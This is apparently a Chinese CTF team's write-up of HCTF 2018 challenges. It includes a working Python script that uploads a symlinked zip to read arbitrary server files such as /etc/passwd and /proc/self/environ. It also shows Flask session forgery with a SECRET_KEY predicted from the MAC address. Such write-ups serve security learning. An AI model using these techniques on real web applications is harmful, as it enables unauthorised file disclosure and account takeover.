和师傅们肝了两天, 最后排名 25, 看看一堆没做出来的题, 感到自己深深的菜…
0x01 admin
在改密码的地方有 hint,
得到源码后第一个发现的是可能存在条件竞争, 题目里面是先将 session
里面的 name
给改了再去验证密码的
但之后发现 flask
不是像 php
一样将 session
保存在服务端, 而是保存在 cookies
里面的, 所以这里其实是不存在条件竞争的. 最后发现其实 SECRET_KEY
已经给我们了, 完全可以伪造 session
.
这里估计是怕太明显, environ
里面是没 SECRET_KEY
的 (看了其他的 WriteUp 其实就是出题人环境没配好 233), 所以直接用 cjk123
就可以了. 在 github 上可以找到用 SECRET_KEY
来生成 session
的小工具, 先解码看看结构后改一下 name
就可以了. 最后把现在的换成生成的 session
访问 index
就可以 get flag 了, 不过这 flag… 是我们非预期解还是这个题目是中间没做完强行改了一下放出来的 0.0
0x02 hide and seek
通过 cookie
可以看出来跟上一题一样是 flask
, 题目这么强调 zipfile
, 所以肯定跟这个有关, 在谷歌上搜到一个通过在里面加 ../../../file
的文件来导致目录穿越的, 但是试了下并没有用. 最后还是师傅想到用软链试试, 结果正是如此, 可以通过软链来任意文件读取, 但比较麻烦的是不像 php
, 直接在 URL
上就给你文件名, 我们得想办法把文件名给找到读出源码才能下一步. 这里写个 python
脚本来简化我们的工作
1import zipfile
2import requests
3
4
5z_info = zipfile.ZipInfo("symlink")
6z_info.external_attr = 2717843456 # Magic Number. Meaning this is a symlink.
7z_file = zipfile.ZipFile("test.zip", mode="w")
8z_file.writestr(z_info, f"/etc/passwd")
9z_file.close()
10
11cookie = open("pysession").read()
12sess = requests.session()
13sess.cookies["session"] = cookie
14
15
16files = {
17 "the_file" : ("test.zip", open("test.zip", "rb"), "application/zip"),
18}
19
20res = sess.post("http://hideandseek.2018.hctf.io/upload", files=files)
21
22if res.text:
23 print(res.text)
24
25open("pysession", "w").write(sess.cookies["session"])
将 /etc/passwd
换成想读的文件就可以了, 需要提前将一个登陆过的 session
写在 pysession
里面. 然后在这里困了挺久, 读了一圈系统配置也没找到提示, 最后师傅想到可以爆破 /proc/{pid}/environ
来爆破自己这个进程的环境变量来得到 UWSGI_INI
位置 (后来知道其实 /proc/self/environ
就可以了 不用爆破), 我们得到的是
1UWSGI_CHEAPER=2
2LANG=C.UTF-8
3HOSTNAME=309ee00b10f9
4NJS_VERSION=1.13.12.0.2.0-1~stretch
5GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
6UWSGI_PROCESSES=16
7LISTEN_PORT=80
8NGINX_VERSION=1.13.12-1~stretch
9PWD=/app/hard_t0_guess_n9f5a95b5ku9fg
10STATIC_URL=/
11staticHOME=/root
12NGINX_WORKER_PROCESSES=auto
13STATIC_INDEX=0PYTHON_VERSION=3.6.6
14SHLVL=0
15PYTHONPATH=/app
16NGINX_MAX_UPLOAD=0
17PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
18UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
19STATIC_PATH=/app/static
20PYTHON_PIP_VERSION=18.1
INI
中有个 module
值, 就是 py 脚本的位置, 我们得到的值是 hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main
, 可以想到文件路径就是 /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
, 得到
1# -*- coding: utf-8 -*-
2from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
3import uuid
4import base64
5import random
6import flag
7from werkzeug.utils import secure_filename
8import os
9random.seed(uuid.getnode())
10app = Flask(__name__)
11app.config['SECRET_KEY'] = str(random.random()*100)
12app.config['UPLOAD_FOLDER'] = './uploads'
13app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
14ALLOWED_EXTENSIONS = set(['zip'])
15
16def allowed_file(filename):
17 return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
18
19
20@app.route('/', methods=['GET'])
21def index():
22 error = request.args.get('error', '')
23 if(error == '1'):
24 session.pop('username', None)
25 return render_template('index.html', forbidden=1)
26
27 if 'username' in session:
28 return render_template('index.html', user=session['username'], flag=flag.flag)
29 else:
30 return render_template('index.html')
31
32
33@app.route('/login', methods=['POST'])
34def login():
35 username=request.form['username']
36 password=request.form['password']
37 if request.method == 'POST' and username != '' and password != '':
38 if(username == 'admin'):
39 return redirect(url_for('index',error=1))
40 session['username'] = username
41 return redirect(url_for('index'))
42
43
44@app.route('/logout', methods=['GET'])
45def logout():
46 session.pop('username', None)
47 return redirect(url_for('index'))
48
49@app.route('/upload', methods=['POST'])
50def upload_file():
51 if 'the_file' not in request.files:
52 return redirect(url_for('index'))
53 file = request.files['the_file']
54 if file.filename == '':
55 return redirect(url_for('index'))
56 if file and allowed_file(file.filename):
57 filename = secure_filename(file.filename)
58 file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
59 if(os.path.exists(file_save_path)):
60 return 'This file already exists'
61 file.save(file_save_path)
62 else:
63 return 'This file is not a zipfile'
64
65
66 try:
67 extract_path = file_save_path + '_'
68 os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
69 read_obj = os.popen('cat ' + extract_path + '/*')
70 file = read_obj.read()
71 read_obj.close()
72 os.system('rm -rf ' + extract_path)
73 except Exception as e:
74 file = None
75
76 os.remove(file_save_path)
77 if(file != None):
78 if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
79 return redirect(url_for('index', error=1))
80 return Response(file)
81
82
83if __name__ == '__main__':
84 #app.run(debug=True)
85 app.run(host='127.0.0.1', debug=True, port=10008)
尝试读了一下 flag.py
, 得到的却是一个 html
文件… 好吧看来不是这个意思, 看来出题人是把它放在 site-package
之类的地方了, 但是这就真的是大海捞针了, 不太可能通过直接读源码的方式找到 flag
. 想想上一题, 或许也可能是通过得到 SECRET_KEY
的方式来伪造 session
, 看了下对应的代码, 发现
1random.seed(uuid.getnode())
2app = Flask(__name__)
3app.config['SECRET_KEY'] = str(random.random()*100)
uuid.getnode()
返回的是网卡 MAC
地址, 也就是说 SECRET_KEY
其实是一个可以预测的值, 我们可以通过读取 /sys/class/net/eth0/address
来得到 MAC
地址 12:34:3e:14:7c:62
1>>> int(0x12343e147c62)
220015589129314
3>>> import random
4>>> random.seed(20015589129314)
5>>> str(random.random()*100)
6'11.935137566861131' # SECRET_KEY
之后伪造成为 admin
就可以了, flag get
0x03 xor game
直接丢到 featherduster
就出了原文, xor
一下 flag get
0x04 freq game
感觉师傅懒得写 writeup 233, 帮他说一下吧, 主要是用 傅里叶变换
将他给的 list
, 还原成原来的四个值后再还原成 freq
就可以了, 说着简单但想想写起来就很烦…
0x05 difficult programming language
拿到流量包, 感觉就像是键盘的 usb 信号, 用 tshark 提取出来后, 找到一个外国人写的脚本稍微改一下, 还原一下输入的字符
1usb_codes = {
2 0x04:"aA", 0x05:"bB", 0x06:"cC", 0x07:"dD", 0x08:"eE", 0x09:"fF",
3 0x0A:"gG", 0x0B:"hH", 0x0C:"iI", 0x0D:"jJ", 0x0E:"kK", 0x0F:"lL",
4 0x10:"mM", 0x11:"nN", 0x12:"oO", 0x13:"pP", 0x14:"qQ", 0x15:"rR",
5 0x16:"sS", 0x17:"tT", 0x18:"uU", 0x19:"vV", 0x1A:"wW", 0x1B:"xX",
6 0x1C:"yY", 0x1D:"zZ", 0x1E:"1!", 0x1F:"2@", 0x20:"3#", 0x21:"4$",
7 0x22:"5%", 0x23:"6^", 0x24:"7&", 0x25:"8*", 0x26:"9(", 0x27:"0)",
8 0x2C:" ", 0x2D:"-_", 0x2E:"=+", 0x2F:"[{", 0x30:"]}", 0x32:"#~",
9 0x33: ";:", 0x34: "'\"", 0x36: ",<", 0x37: ".>", 0x4f: ">", 0x50: "<",
10 0x35: "`~", 0x38: "/?", 0x31: "\\|"
11 }
12lines = ["","","","",""]
13
14pos = 0
15for x in open("dpl","r").readlines():
16 code = int(x[6:8],16)
17
18 if code == 0:
19 continue
20 # newline or down arrow - move down
21 if code == 0x51 or code == 0x28:
22 pos += 1
23 continue
24 # up arrow - move up
25 if code == 0x52:
26 pos -= 1
27 continue
28 # select the character based on the Shift key
29 if int(x[0:2],16) == 2:
30 lines[pos] += usb_codes[code][1]
31 else:
32 lines[pos] += usb_codes[code][0]
33
34
35for x in lines:
36 print x
得到了
1D'`;M?!\mZ4j8hgSvt2bN);^]+7jiE3Ve0A@Q=|;)sxwYXtsl2pongOe+LKa'e^]\a`_X|V[Tx;:VONSRQJn1MFKJCBfFE>&<`@9!=<5Y9y7654-,P0/o-,%I)ih&%$#z@xw|{ts9wvXWm3~c
因为之前做了科大的 hackergame
感觉出来是 malbolge
, 把最后的 c
删掉就可以跑了, 运行一下就得到 flag.